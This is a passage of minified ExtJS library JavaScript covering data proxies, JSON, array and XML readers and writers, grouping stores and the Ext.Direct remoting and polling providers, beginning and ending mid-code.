this.buildUrl(g, d);\n    if (this.useAjax) {\n        Ext.applyIf(h, this.conn);\n        if (this.activeRequest[g]) {\n        }\n        this.activeRequest[g] = Ext.Ajax.request(h)\n    } else {\n        this.conn.request(h)\n    }\n    this.conn.url = null\n}, createCallback:function (b, a) {\n    return function (e, d, c) {\n        this.activeRequest[b] = undefined;\n        if (!d) {\n            if (b === Ext.data.Api.actions.read) {\n                this.fireEvent(\"loadexception\", this, e, c)\n            }\n            this.fireEvent(\"exception\", this, \"response\", b, e, c);\n            e.request.callback.call(e.request.scope, null, e.request.arg, false);\n            return\n        }\n        if (b === Ext.data.Api.actions.read) {\n            this.onRead(b, e, c)\n        } else {\n            this.onWrite(b, e, c, a)\n        }\n    }\n}, onRead:function (d, h, b) {\n    var a;\n    try {\n        a = h.reader.read(b)\n    } catch (g) {\n        this.fireEvent(\"loadexception\", this, h, b, g);\n        this.fireEvent(\"exception\", this, \"response\", d, h, b, g);\n        h.request.callback.call(h.request.scope, null, h.request.arg, false);\n        return\n    }\n    if (a.success === false) {\n        this.fireEvent(\"loadexception\", this, h, b);\n        var c = h.reader.readResponse(d, b);\n        this.fireEvent(\"exception\", this, \"remote\", d, h, c, null)\n    } else {\n        this.fireEvent(\"load\", this, h, h.request.arg)\n    }\n    h.request.callback.call(h.request.scope, a, h.request.arg, a.success)\n}, onWrite:function (g, i, c, b) {\n    var a = i.reader;\n    var d;\n    try {\n        d = a.readResponse(g, c)\n    } catch (h) {\n        this.fireEvent(\"exception\", this, \"response\", g, i, c, h);\n        i.request.callback.call(i.request.scope, null, i.request.arg, false);\n        return\n    }\n    if (d.success === true) {\n        this.fireEvent(\"write\", this, g, d.data, d, b, i.request.arg)\n    } else {\n        this.fireEvent(\"exception\", this, \"remote\", g, i, d, b)\n    }\n    i.request.callback.call(i.request.scope, d.data, d, d.success)\n}, destroy:function () {\n    if (!this.useAjax) {\n        this.conn.abort()\n    } else {\n        if (this.activeRequest) {\n            var b = Ext.data.Api.actions;\n            for (var a in b) {\n                if (this.activeRequest[b[a]]) {\n                    Ext.Ajax.abort(this.activeRequest[b[a]])\n                }\n            }\n        }\n    }\n    Ext.data.HttpProxy.superclass.destroy.call(this)\n}});\nExt.data.MemoryProxy = function (b) {\n    var a = {};\n    a[Ext.data.Api.actions.read] = true;\n    Ext.data.MemoryProxy.superclass.constructor.call(this, {api:a});\n    this.data = b\n};\nExt.extend(Ext.data.MemoryProxy, Ext.data.DataProxy, {doRequest:function (b, c, a, d, h, i, j) {\n    a = a || {};\n    var k;\n    try {\n        k = d.readRecords(this.data)\n    } catch (g) {\n        this.fireEvent(\"loadexception\", this, null, j, g);\n        this.fireEvent(\"exception\", this, \"response\", b, j, null, g);\n        h.call(i, null, j, false);\n        return\n    }\n    h.call(i, k, j, true)\n}});\nExt.data.Types = new function () {\n    var a = Ext.data.SortTypes;\n    Ext.apply(this, {stripRe:/[\\$,%]/g, AUTO:{convert:function (b) {\n        return b\n    }, sortType:a.none, type:\"auto\"}, STRING:{convert:function (b) {\n        return(b === undefined || b === null) ? \"\" : String(b)\n    }, sortType:a.asUCString, type:\"string\"}, INT:{convert:function (b) {\n        return b !== undefined && b !== null && b !== \"\" ? parseInt(String(b).replace(Ext.data.Types.stripRe, \"\"), 10) : (this.useNull ? null : 0)\n    }, sortType:a.none, type:\"int\"}, FLOAT:{convert:function (b) {\n        return b !== undefined && b !== null && b !== \"\" ? parseFloat(String(b).replace(Ext.data.Types.stripRe, \"\"), 10) : (this.useNull ? null : 0)\n    }, sortType:a.none, type:\"float\"}, BOOL:{convert:function (b) {\n        return b === true || b === \"true\" || b == 1\n    }, sortType:a.none, type:\"bool\"}, DATE:{convert:function (c) {\n        var d = this.dateFormat;\n        if (!c) {\n            return null\n        }\n        if (Ext.isDate(c)) {\n            return c\n        }\n        if (d) {\n            if (d == \"timestamp\") {\n                return new Date(c * 1000)\n            }\n            if (d == \"time\") {\n                return new Date(parseInt(c, 10))\n            }\n            return Date.parseDate(c, d)\n        }\n        var b = Date.parse(c);\n        return b ? new Date(b) : null\n    }, sortType:a.asDate, type:\"date\"}});\n    Ext.apply(this, {BOOLEAN:this.BOOL, INTEGER:this.INT, NUMBER:this.FLOAT})\n};\nExt.data.JsonWriter = Ext.extend(Ext.data.DataWriter, {encode:true, encodeDelete:false, constructor:function (a) {\n    Ext.data.JsonWriter.superclass.constructor.call(this, a)\n}, render:function (c, d, b) {\n    if (this.encode === true) {\n        Ext.apply(c, d);\n        c[this.meta.root] = Ext.encode(b)\n    } else {\n        var a = Ext.apply({}, d);\n        a[this.meta.root] = b;\n        c.jsonData = a\n    }\n}, createRecord:function (a) {\n    return this.toHash(a)\n}, updateRecord:function (a) {\n    return this.toHash(a)\n}, destroyRecord:function (b) {\n    if (this.encodeDelete) {\n        var a = {};\n        a[this.meta.idProperty] = b.id;\n        return a\n    } else {\n        return b.id\n    }\n}});\nExt.data.JsonReader = function (a, b) {\n    a = a || {};\n    Ext.applyIf(a, {idProperty:\"id\", successProperty:\"success\", totalProperty:\"total\"});\n    Ext.data.JsonReader.superclass.constructor.call(this, a, b || a.fields)\n};\nExt.extend(Ext.data.JsonReader, Ext.data.DataReader, {read:function (a) {\n    var b = a.responseText;\n    var c = Ext.decode(b);\n    if (!c) {\n        throw {message:\"JsonReader.read: Json object not found\"}\n    }\n    return this.readRecords(c)\n}, readResponse:function (e, b) {\n    var h = (b.responseText !== undefined) ? Ext.decode(b.responseText) : b;\n    if (!h) {\n        throw new Ext.data.JsonReader.Error(\"response\")\n    }\n    var a = this.getRoot(h), g = this.getSuccess(h);\n    if (g && e === Ext.data.Api.actions.create) {\n        var d = Ext.isDefined(a);\n        if (d && Ext.isEmpty(a)) {\n            throw new Ext.data.JsonReader.Error(\"root-empty\", this.meta.root)\n        } else {\n            if (!d) {\n                throw new Ext.data.JsonReader.Error(\"root-undefined-response\", this.meta.root)\n            }\n        }\n    }\n    var c = new Ext.data.Response({action:e, success:g, data:(a) ? this.extractData(a, false) : [], message:this.getMessage(h), raw:h});\n    if (Ext.isEmpty(c.success)) {\n        throw new Ext.data.JsonReader.Error(\"successProperty-response\", this.meta.successProperty)\n    }\n    return c\n}, readRecords:function (a) {\n    this.jsonData = a;\n    if (a.metaData) {\n        this.onMetaChange(a.metaData)\n    }\n    var m = this.meta, h = this.recordType, b = h.prototype.fields, l = b.items, i = b.length, j;\n    var g = this.getRoot(a), e = g.length, d = e, k = true;\n    if (m.totalProperty) {\n        j = parseInt(this.getTotal(a), 10);\n        if (!isNaN(j)) {\n            d = j\n        }\n    }\n    if (m.successProperty) {\n        j = this.getSuccess(a);\n        if (j === false || j === \"false\") {\n            k = false\n        }\n    }\n    return{success:k, records:this.extractData(g, true), totalRecords:d}\n}, buildExtractors:function () {\n    if (this.ef) {\n        return\n    }\n    var l = this.meta, h = this.recordType, e = h.prototype.fields, k = e.items, j = e.length;\n    if (l.totalProperty) {\n        this.getTotal = this.createAccessor(l.totalProperty)\n    }\n    if (l.successProperty) {\n        this.getSuccess = this.createAccessor(l.successProperty)\n    }\n    if (l.messageProperty) {\n        this.getMessage = this.createAccessor(l.messageProperty)\n    }\n    this.getRoot = l.root ? this.createAccessor(l.root) : function (g) {\n        return g\n    };\n    if (l.id || l.idProperty) {\n        var d = this.createAccessor(l.id || l.idProperty);\n        this.getId = function (i) {\n            var g = d(i);\n            return(g === undefined || g === \"\") ? null : g\n        }\n    } else {\n        this.getId = function () {\n            return null\n        }\n    }\n    var c = [];\n    for (var b = 0; b < j; b++) {\n        e = k[b];\n        var a = (e.mapping !== undefined && e.mapping !== null) ? e.mapping : e.name;\n        c.push(this.createAccessor(a))\n    }\n    this.ef = c\n}, simpleAccess:function (b, a) {\n    return b[a]\n}, createAccessor:function () {\n    var a = /[\\[\\.]/;\n    return function (c) {\n        if (Ext.isEmpty(c)) {\n            return Ext.emptyFn\n        }\n        if (Ext.isFunction(c)) {\n            return c\n        }\n        var b = String(c).search(a);\n        if (b >= 0) {\n            return new Function(\"obj\", \"return obj\" + (b > 0 ? \".\" : \"\") + c)\n        }\n        return function (d) {\n            return d[c]\n        }\n    }\n}(), extractValues:function (h, d, a) {\n    var g, c = {};\n    for (var e = 0; e < a; e++) {\n        g = d[e];\n        var b = this.ef[e](h);\n        c[g.name] = g.convert((b !== undefined) ? b : g.defaultValue, h)\n    }\n    return c\n}});\nExt.data.JsonReader.Error = Ext.extend(Ext.Error, {constructor:function (b, a) {\n    this.arg = a;\n    Ext.Error.call(this, b)\n}, name:\"Ext.data.JsonReader\"});\nExt.apply(Ext.data.JsonReader.Error.prototype, {lang:{response:\"An error occurred while json-decoding your server response\", \"successProperty-response\":'Could not locate your \"successProperty\" in your server response.  Please review your JsonReader config to ensure the config-property \"successProperty\" matches the property in your server-response.  See the JsonReader docs.', \"root-undefined-config\":'Your JsonReader was configured without a \"root\" property.  Please review your JsonReader config and make sure to define the root property.  See the JsonReader docs.', \"idProperty-undefined\":'Your JsonReader was configured without an \"idProperty\"  Please review your JsonReader configuration and ensure the \"idProperty\" is set (e.g.: \"id\").  See the JsonReader docs.', \"root-empty\":'Data was expected to be returned by the server in the \"root\" property of the response.  Please review your JsonReader configuration to ensure the \"root\" property matches that returned in the server-response.  See JsonReader docs.'}});\nExt.data.ArrayReader = Ext.extend(Ext.data.JsonReader, {readRecords:function (r) {\n    this.arrayData = r;\n    var l = this.meta, d = l ? Ext.num(l.idIndex, l.id) : null, b = this.recordType, q = b.prototype.fields, z = [], e = true, g;\n    var u = this.getRoot(r);\n    for (var y = 0, A = u.length; y < A; y++) {\n        var t = u[y], a = {}, p = ((d || d === 0) && t[d] !== undefined && t[d] !== \"\" ? t[d] : null);\n        for (var x = 0, m = q.length; x < m; x++) {\n            var B = q.items[x], w = B.mapping !== undefined && B.mapping !== null ? B.mapping : x;\n            g = t[w] !== undefined ? t[w] : B.defaultValue;\n            g = B.convert(g, t);\n            a[B.name] = g\n        }\n        var c = new b(a, p);\n        c.json = t;\n        z[z.length] = c\n    }\n    var h = z.length;\n    if (l.totalProperty) {\n        g = parseInt(this.getTotal(r), 10);\n        if (!isNaN(g)) {\n            h = g\n        }\n    }\n    if (l.successProperty) {\n        g = this.getSuccess(r);\n        if (g === false || g === \"false\") {\n            e = false\n        }\n    }\n    return{success:e, records:z, totalRecords:h}\n}});\nExt.data.ArrayStore = Ext.extend(Ext.data.Store, {constructor:function (a) {\n    Ext.data.ArrayStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.ArrayReader(a)}))\n}, loadData:function (e, b) {\n    if (this.expandData === true) {\n        var d = [];\n        for (var c = 0, a = e.length; c < a; c++) {\n            d[d.length] = [e[c]]\n        }\n        e = d\n    }\n    Ext.data.ArrayStore.superclass.loadData.call(this, e, b)\n}});\nExt.reg(\"arraystore\", Ext.data.ArrayStore);\nExt.data.SimpleStore = Ext.data.ArrayStore;\nExt.reg(\"simplestore\", Ext.data.SimpleStore);\nExt.data.JsonStore = Ext.extend(Ext.data.Store, {constructor:function (a) {\n    Ext.data.JsonStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.JsonReader(a)}))\n}});\nExt.reg(\"jsonstore\", Ext.data.JsonStore);\nExt.data.XmlWriter = function (a) {\n    Ext.data.XmlWriter.superclass.constructor.apply(this, arguments);\n    this.tpl = (typeof(this.tpl) === \"string\") ? new Ext.XTemplate(this.tpl).compile() : this.tpl.compile()\n};\nExt.extend(Ext.data.XmlWriter, Ext.data.DataWriter, {documentRoot:\"xrequest\", forceDocumentRoot:false, root:\"records\", xmlVersion:\"1.0\", xmlEncoding:\"ISO-8859-15\", tpl:'<tpl for=\".\"><\\u003fxml version=\"{version}\" encoding=\"{encoding}\"\\u003f><tpl if=\"documentRoot\"><{documentRoot}><tpl for=\"baseParams\"><tpl for=\".\"><{name}>{value}</{name}></tpl></tpl></tpl><tpl if=\"records.length&gt;1\"><{root}></tpl><tpl for=\"records\"><{parent.record}><tpl for=\".\"><{name}>{value}</{name}></tpl></{parent.record}></tpl><tpl if=\"records.length&gt;1\"></{root}></tpl><tpl if=\"documentRoot\"></{documentRoot}></tpl></tpl>', render:function (b, c, a) {\n    c = this.toArray(c);\n    b.xmlData = this.tpl.applyTemplate({version:this.xmlVersion, encoding:this.xmlEncoding, documentRoot:(c.length > 0 || this.forceDocumentRoot === true) ? this.documentRoot : false, record:this.meta.record, root:this.root, baseParams:c, records:(Ext.isArray(a[0])) ? a : [a]})\n}, createRecord:function (a) {\n    return this.toArray(this.toHash(a))\n}, updateRecord:function (a) {\n    return this.toArray(this.toHash(a))\n}, destroyRecord:function (b) {\n    var a = {};\n    a[this.meta.idProperty] = b.id;\n    return this.toArray(a)\n}});\nExt.data.XmlReader = function (a, b) {\n    a = a || {};\n    Ext.applyIf(a, {idProperty:a.idProperty || a.idPath || a.id, successProperty:a.successProperty || a.success});\n    Ext.data.XmlReader.superclass.constructor.call(this, a, b || a.fields)\n};\nExt.extend(Ext.data.XmlReader, Ext.data.DataReader, {read:function (a) {\n    var b = a.responseXML;\n    if (!b) {\n        throw {message:\"XmlReader.read: XML Document not available\"}\n    }\n    return this.readRecords(b)\n}, readRecords:function (d) {\n    this.xmlData = d;\n    var a = d.documentElement || d, c = Ext.DomQuery, g = 0, e = true;\n    if (this.meta.totalProperty) {\n        g = this.getTotal(a, 0)\n    }\n    if (this.meta.successProperty) {\n        e = this.getSuccess(a)\n    }\n    var b = this.extractData(c.select(this.meta.record, a), true);\n    return{success:e, records:b, totalRecords:g || b.length}\n}, readResponse:function (g, b) {\n    var e = Ext.DomQuery, h = b.responseXML, a = h.documentElement || h;\n    var c = new Ext.data.Response({action:g, success:this.getSuccess(a), message:this.getMessage(a), data:this.extractData(e.select(this.meta.record, a) || e.select(this.meta.root, a), false), raw:h});\n    if (Ext.isEmpty(c.success)) {\n        throw new Ext.data.DataReader.Error(\"successProperty-response\", this.meta.successProperty)\n    }\n    if (g === Ext.data.Api.actions.create) {\n        var d = Ext.isDefined(c.data);\n        if (d && Ext.isEmpty(c.data)) {\n            throw new Ext.data.JsonReader.Error(\"root-empty\", this.meta.root)\n        } else {\n            if (!d) {\n                throw new Ext.data.JsonReader.Error(\"root-undefined-response\", this.meta.root)\n            }\n        }\n    }\n    return c\n}, getSuccess:function () {\n    return true\n}, buildExtractors:function () {\n    if (this.ef) {\n        return\n    }\n    var l = this.meta, h = this.recordType, e = h.prototype.fields, k = e.items, j = e.length;\n    if (l.totalProperty) {\n        this.getTotal = this.createAccessor(l.totalProperty)\n    }\n    if (l.successProperty) {\n        this.getSuccess = this.createAccessor(l.successProperty)\n    }\n    if (l.messageProperty) {\n        this.getMessage = this.createAccessor(l.messageProperty)\n    }\n    this.getRoot = function (g) {\n        return(!Ext.isEmpty(g[this.meta.record])) ? g[this.meta.record] : g[this.meta.root]\n    };\n    if (l.idPath || l.idProperty) {\n        var d = this.createAccessor(l.idPath || l.idProperty);\n        this.getId = function (g) {\n            var i = d(g) || g.id;\n            return(i === undefined || i === \"\") ? null : i\n        }\n    } else {\n        this.getId = function () {\n            return null\n        }\n    }\n    var c = [];\n    for (var b = 0; b < j; b++) {\n        e = k[b];\n        var a = (e.mapping !== undefined && e.mapping !== null) ? e.mapping : e.name;\n        c.push(this.createAccessor(a))\n    }\n    this.ef = c\n}, createAccessor:function () {\n    var a = Ext.DomQuery;\n    return function (b) {\n        if (Ext.isFunction(b)) {\n            return b\n        }\n        switch (b) {\n            case this.meta.totalProperty:\n                return function (c, d) {\n                    return a.selectNumber(b, c, d)\n                };\n                break;\n            case this.meta.successProperty:\n                return function (d, e) {\n                    var c = a.selectValue(b, d, true);\n                    var g = c !== false && c !== \"false\";\n                    return g\n                };\n                break;\n            default:\n                return function (c, d) {\n                    return a.selectValue(b, c, d)\n                };\n                break\n        }\n    }\n}(), extractValues:function (h, d, a) {\n    var g, c = {};\n    for (var e = 0; e < a; e++) {\n        g = d[e];\n        var b = this.ef[e](h);\n        c[g.name] = g.convert((b !== undefined) ? b : g.defaultValue, h)\n    }\n    return c\n}});\nExt.data.XmlStore = Ext.extend(Ext.data.Store, {constructor:function (a) {\n    Ext.data.XmlStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.XmlReader(a)}))\n}});\nExt.reg(\"xmlstore\", Ext.data.XmlStore);\nExt.data.GroupingStore = Ext.extend(Ext.data.Store, {constructor:function (d) {\n    d = d || {};\n    this.hasMultiSort = true;\n    this.multiSortInfo = this.multiSortInfo || {sorters:[]};\n    var e = this.multiSortInfo.sorters, c = d.groupField || this.groupField, b = d.sortInfo || this.sortInfo, a = d.groupDir || this.groupDir;\n    if (c) {\n        e.push({field:c, direction:a})\n    }\n    if (b) {\n        e.push(b)\n    }\n    Ext.data.GroupingStore.superclass.constructor.call(this, d);\n    this.addEvents(\"groupchange\");\n    this.applyGroupField()\n}, remoteGroup:false, groupOnSort:false, groupDir:\"ASC\", clearGrouping:function () {\n    this.groupField = false;\n    if (this.remoteGroup) {\n        if (this.baseParams) {\n            delete this.baseParams.groupBy;\n            delete this.baseParams.groupDir\n        }\n        var a = this.lastOptions;\n        if (a && a.params) {\n            delete a.params.groupBy;\n            delete a.params.groupDir\n        }\n        this.reload()\n    } else {\n        this.sort();\n        this.fireEvent(\"datachanged\", this)\n    }\n}, groupBy:function (e, a, d) {\n    d = d ? (String(d).toUpperCase() == \"DESC\" ? \"DESC\" : \"ASC\") : this.groupDir;\n    if (this.groupField == e && this.groupDir == d && !a) {\n        return\n    }\n    var c = this.multiSortInfo.sorters;\n    if (c.length > 0 && c[0].field == this.groupField) {\n        c.shift()\n    }\n    this.groupField = e;\n    this.groupDir = d;\n    this.applyGroupField();\n    var b = function () {\n        this.fireEvent(\"groupchange\", this, this.getGroupState())\n    };\n    if (this.groupOnSort) {\n        this.sort(e, d);\n        b.call(this);\n        return\n    }\n    if (this.remoteGroup) {\n        this.on(\"load\", b, this, {single:true});\n        this.reload()\n    } else {\n        this.sort(c);\n        b.call(this)\n    }\n}, sort:function (h, c) {\n    if (this.remoteSort) {\n        return Ext.data.GroupingStore.superclass.sort.call(this, h, c)\n    }\n    var g = [];\n    if (Ext.isArray(arguments[0])) {\n        g = arguments[0]\n    } else {\n        if (h == undefined) {\n            g = this.sortInfo ? [this.sortInfo] : []\n        } else {\n            var e = this.fields.get(h);\n            if (!e) {\n                return false\n            }\n            var b = e.name, a = this.sortInfo || null, d = this.sortToggle ? this.sortToggle[b] : null;\n            if (!c) {\n                if (a && a.field == b) {\n                    c = (this.sortToggle[b] || \"ASC\").toggle(\"ASC\", \"DESC\")\n                } else {\n                    c = e.sortDir\n                }\n            }\n            this.sortToggle[b] = c;\n            this.sortInfo = {field:b, direction:c};\n            g = [this.sortInfo]\n        }\n    }\n    if (this.groupField) {\n        g.unshift({direction:this.groupDir, field:this.groupField})\n    }\n    return this.multiSort.call(this, g, c)\n}, applyGroupField:function () {\n    if (this.remoteGroup) {\n        if (!this.baseParams) {\n            this.baseParams = {}\n        }\n        Ext.apply(this.baseParams, {groupBy:this.groupField, groupDir:this.groupDir});\n        var a = this.lastOptions;\n        if (a && a.params) {\n            a.params.groupDir = this.groupDir;\n            delete a.params.groupBy\n        }\n    }\n}, applyGrouping:function (a) {\n    if (this.groupField !== false) {\n        this.groupBy(this.groupField, true, this.groupDir);\n        return true\n    } else {\n        if (a === true) {\n            this.fireEvent(\"datachanged\", this)\n        }\n        return false\n    }\n}, getGroupState:function () {\n    return this.groupOnSort && this.groupField !== false ? (this.sortInfo ? this.sortInfo.field : undefined) : this.groupField\n}});\nExt.reg(\"groupingstore\", Ext.data.GroupingStore);\nExt.data.DirectProxy = function (a) {\n    Ext.apply(this, a);\n    if (typeof this.paramOrder == \"string\") {\n        this.paramOrder = this.paramOrder.split(/[\\s,|]/)\n    }\n    Ext.data.DirectProxy.superclass.constructor.call(this, a)\n};\nExt.extend(Ext.data.DirectProxy, Ext.data.DataProxy, {paramOrder:undefined, paramsAsHash:true, directFn:undefined, doRequest:function (b, c, a, e, k, l, n) {\n    var j = [], h = this.api[b] || this.directFn;\n    switch (b) {\n        case Ext.data.Api.actions.create:\n            j.push(a.jsonData);\n            break;\n        case Ext.data.Api.actions.read:\n            if (h.directCfg.method.len > 0) {\n                if (this.paramOrder) {\n                    for (var d = 0, g = this.paramOrder.length; d < g; d++) {\n                        j.push(a[this.paramOrder[d]])\n                    }\n                } else {\n                    if (this.paramsAsHash) {\n                        j.push(a)\n                    }\n                }\n            }\n            break;\n        case Ext.data.Api.actions.update:\n            j.push(a.jsonData);\n            break;\n        case Ext.data.Api.actions.destroy:\n            j.push(a.jsonData);\n            break\n    }\n    var m = {params:a || {}, request:{callback:k, scope:l, arg:n}, reader:e};\n    j.push(this.createCallback(b, c, m), this);\n    h.apply(window, j)\n}, createCallback:function (d, a, b) {\n    var c = this;\n    return function (e, g) {\n        if (!g.status) {\n            if (d === Ext.data.Api.actions.read) {\n                c.fireEvent(\"loadexception\", c, b, g, null)\n            }\n            c.fireEvent(\"exception\", c, \"remote\", d, b, g, null);\n            b.request.callback.call(b.request.scope, null, b.request.arg, false);\n            return\n        }\n        if (d === Ext.data.Api.actions.read) {\n            c.onRead(d, b, e, g)\n        } else {\n            c.onWrite(d, b, e, g, a)\n        }\n    }\n}, onRead:function (g, e, a, d) {\n    var b;\n    try {\n        b = e.reader.readRecords(a)\n    } catch (c) {\n        this.fireEvent(\"loadexception\", this, e, d, c);\n        this.fireEvent(\"exception\", this, \"response\", g, e, d, c);\n        e.request.callback.call(e.request.scope, null, e.request.arg, false);\n        return\n    }\n    this.fireEvent(\"load\", this, d, e.request.arg);\n    e.request.callback.call(e.request.scope, b, e.request.arg, true)\n}, onWrite:function (g, d, a, c, b) {\n    var e = d.reader.extractData(d.reader.getRoot(a), false);\n    var h = d.reader.getSuccess(a);\n    h = (h !== false);\n    if (h) {\n        this.fireEvent(\"write\", this, g, e, c, b, d.request.arg)\n    } else {\n        this.fireEvent(\"exception\", this, \"remote\", g, d, a, b)\n    }\n    d.request.callback.call(d.request.scope, e, c, h)\n}});\nExt.data.DirectStore = Ext.extend(Ext.data.Store, {constructor:function (a) {\n    var b = Ext.apply({}, {batchTransactions:false}, a);\n    Ext.data.DirectStore.superclass.constructor.call(this, Ext.apply(b, {proxy:Ext.isDefined(b.proxy) ? b.proxy : new Ext.data.DirectProxy(Ext.copyTo({}, b, \"paramOrder,paramsAsHash,directFn,api\")), reader:(!Ext.isDefined(b.reader) && b.fields) ? new Ext.data.JsonReader(Ext.copyTo({}, b, \"totalProperty,root,idProperty\"), b.fields) : b.reader}))\n}});\nExt.reg(\"directstore\", Ext.data.DirectStore);\nExt.Direct = Ext.extend(Ext.util.Observable, {exceptions:{TRANSPORT:\"xhr\", PARSE:\"parse\", LOGIN:\"login\", SERVER:\"exception\"}, constructor:function () {\n    this.addEvents(\"event\", \"exception\");\n    this.transactions = {};\n    this.providers = {}\n}, addProvider:function (e) {\n    var c = arguments;\n    if (c.length > 1) {\n        for (var d = 0, b = c.length; d < b; d++) {\n            this.addProvider(c[d])\n        }\n        return\n    }\n    if (!e.events) {\n        e = new Ext.Direct.PROVIDERS[e.type](e)\n    }\n    e.id = e.id || Ext.id();\n    this.providers[e.id] = e;\n    e.on(\"data\", this.onProviderData, this);\n    e.on(\"exception\", this.onProviderException, this);\n    if (!e.isConnected()) {\n        e.connect()\n    }\n    return e\n}, getProvider:function (a) {\n    return this.providers[a]\n}, removeProvider:function (b) {\n    var a = b.id ? b : this.providers[b];\n    a.un(\"data\", this.onProviderData, this);\n    a.un(\"exception\", this.onProviderException, this);\n    delete this.providers[a.id];\n    return a\n}, addTransaction:function (a) {\n    this.transactions[a.tid] = a;\n    return a\n}, removeTransaction:function (a) {\n    delete this.transactions[a.tid || a];\n    return a\n}, getTransaction:function (a) {\n    return this.transactions[a.tid || a]\n}, onProviderData:function (d, c) {\n    if (Ext.isArray(c)) {\n        for (var b = 0, a = c.length; b < a; b++) {\n            this.onProviderData(d, c[b])\n        }\n        return\n    }\n    if (c.name && c.name != \"event\" && c.name != \"exception\") {\n        this.fireEvent(c.name, c)\n    } else {\n        if (c.type == \"exception\") {\n            this.fireEvent(\"exception\", c)\n        }\n    }\n    this.fireEvent(\"event\", c, d)\n}, createEvent:function (a, b) {\n    return new Ext.Direct.eventTypes[a.type](Ext.apply(a, b))\n}});\nExt.Direct = new Ext.Direct();\nExt.Direct.TID = 1;\nExt.Direct.PROVIDERS = {};\nExt.Direct.Transaction = function (a) {\n    Ext.apply(this, a);\n    this.tid = ++Ext.Direct.TID;\n    this.retryCount = 0\n};\nExt.Direct.Transaction.prototype = {send:function () {\n    this.provider.queueTransaction(this)\n}, retry:function () {\n    this.retryCount++;\n    this.send()\n}, getProvider:function () {\n    return this.provider\n}};\nExt.Direct.Event = function (a) {\n    Ext.apply(this, a)\n};\nExt.Direct.Event.prototype = {status:true, getData:function () {\n    return this.data\n}};\nExt.Direct.RemotingEvent = Ext.extend(Ext.Direct.Event, {type:\"rpc\", getTransaction:function () {\n    return this.transaction || Ext.Direct.getTransaction(this.tid)\n}});\nExt.Direct.ExceptionEvent = Ext.extend(Ext.Direct.RemotingEvent, {status:false, type:\"exception\"});\nExt.Direct.eventTypes = {rpc:Ext.Direct.RemotingEvent, event:Ext.Direct.Event, exception:Ext.Direct.ExceptionEvent};\nExt.direct.Provider = Ext.extend(Ext.util.Observable, {priority:1, constructor:function (a) {\n    Ext.apply(this, a);\n    this.addEvents(\"connect\", \"disconnect\", \"data\", \"exception\");\n    Ext.direct.Provider.superclass.constructor.call(this, a)\n}, isConnected:function () {\n    return false\n}, connect:Ext.emptyFn, disconnect:Ext.emptyFn});\nExt.direct.JsonProvider = Ext.extend(Ext.direct.Provider, {parseResponse:function (a) {\n    if (!Ext.isEmpty(a.responseText)) {\n        if (typeof a.responseText == \"object\") {\n            return a.responseText\n        }\n        return Ext.decode(a.responseText)\n    }\n    return null\n}, getEvents:function (j) {\n    var g = null;\n    try {\n        g = this.parseResponse(j)\n    } catch (h) {\n        var d = new Ext.Direct.ExceptionEvent({data:h, xhr:j, code:Ext.Direct.exceptions.PARSE, message:\"Error parsing json response: \\n\\n \" + g});\n        return[d]\n    }\n    var c = [];\n    if (Ext.isArray(g)) {\n        for (var b = 0, a = g.length; b < a; b++) {\n            c.push(Ext.Direct.createEvent(g[b]))\n        }\n    } else {\n        c.push(Ext.Direct.createEvent(g))\n    }\n    return c\n}});\nExt.direct.PollingProvider = Ext.extend(Ext.direct.JsonProvider, {priority:3, interval:3000, constructor:function (a) {\n    Ext.direct.PollingProvider.superclass.constructor.call(this, a);\n    this.addEvents(\"beforepoll\", \"poll\")\n}, isConnected:function () {\n    return !!this.pollTask\n}, connect:function () {\n    if (this.url && !this.pollTask) {\n        this.pollTask = Ext.TaskMgr.start({run:function () {\n            if (this.fireEvent(\"beforepoll\", this) !== false) {\n                if (typeof this.url == \"function\") {\n                    this.url(this.baseParams)\n                } else {\n                    Ext.Ajax.request({url:this.url, callback:this.onData, scope:this, params:this.baseParams})\n                }\n            }\n        }, interval:this.interval, scope:this});\n        this.fireEvent(\"connect\", this)\n    } else {\n        if (!this.url) {\n            throw\"Error initializing PollingProvider, no url configured.\"\n        }\n    }\n}, disconnect:function () {\n    if (this.pollTask) {\n        Ext.TaskMgr.stop(this.pollTask);\n        delete this.pollTask;\n        this.fireEvent(\"disconnect\", this)\n    }\n}, onData:function (d, j, h) {\n    if (j) {\n        var c = this.getEvents(h);\n        for (var b = 0, a = c.length; b < a; b++) {\n            var g = c[b];\n            this.fireEvent(\"data\", this, g)\n        }\n    } else {\n        var g = new Ext.Direct.ExceptionEvent({data:g, code:Ext.Direct.exceptions.TRANSPORT, message:\"Unable to connect to the server.\", xhr:h});\n        this.fireEvent(\"data\", this, g)\n    }\n}});\nExt.Direct.PROVIDERS.polling = Ext.direct.PollingProvider;\nExt.direct.RemotingProvider = Ext.extend(Ext.direct.JsonProvider, {enableBuffer:10, maxRetries:1, timeout:undefined, constructor:function (a) {\n    Ext.direct.RemotingProvider.superclass.constructor.call(this, a);\n    this.addEvents(\"beforecall\", \"call\");\n    this.namespace = (Ext.isString(this.namespace)) ? Ext.ns(this.namespace) : this.namespace || window;\n    this.transactions = {};\n    this.callBuffer = []\n}, initAPI:function () {\n    var h = this.actions;\n    for (var j in h) {\n        var d = this.namespace[j] || (this.namespace[j] = {}), e = h[j];\n        for (var g = 0, b = e.length; g < b; g++) {\n            var a = e[g];\n            d[a.name] = this.createMethod(j, a)\n        }\n    }\n}, isConnected:function () {\n    return !!this.connected\n}, connect:function () {\n    if (this.url) {\n        this.initAPI();\n        this.connected = true;\n        this.fireEvent(\"connect\", this)\n    } else {\n        if (!this.url) {\n            throw\"Error initializing RemotingProvider, no url configured.\"\n        }\n    }\n}, disconnect:function () {\n    if (this.connected) {\n        this.connected = false;\n        this.fireEvent(\"disconnect\", this)\n    }\n}, onData:function (a, h, j) {\n    if (h) {\n        var k = this.getEvents(j);\n        for (var b = 0, c = k.length; b < c; b++) {\n            var d = k[b], l = this.getTransaction(d);\n            this.fireEvent(\"data\", this, d);\n            if (l) {\n                this.doCallback(l, d, true);\n                Ext.Direct.removeTransaction(l)\n            }\n        }\n    } else {\n        var g = [].concat(a.ts);\n        for (var b = 0, c = g.length; b < c; b++) {\n            var l = this.getTransaction(g[b]);\n            if (l && l.retryCount < this.maxRetries) {\n                l.retry()\n            } else {\n                var d = new Ext.Direct.ExceptionEvent({data:d, transaction:l, code:Ext.Direct.exceptions.TRANSPORT, message:\"Unable to connect to the server.\", xhr:j});\n                this.fireEvent(\"data\", this, d);\n                if (l) {\n                    this.doCallback(l, d, false);\n                    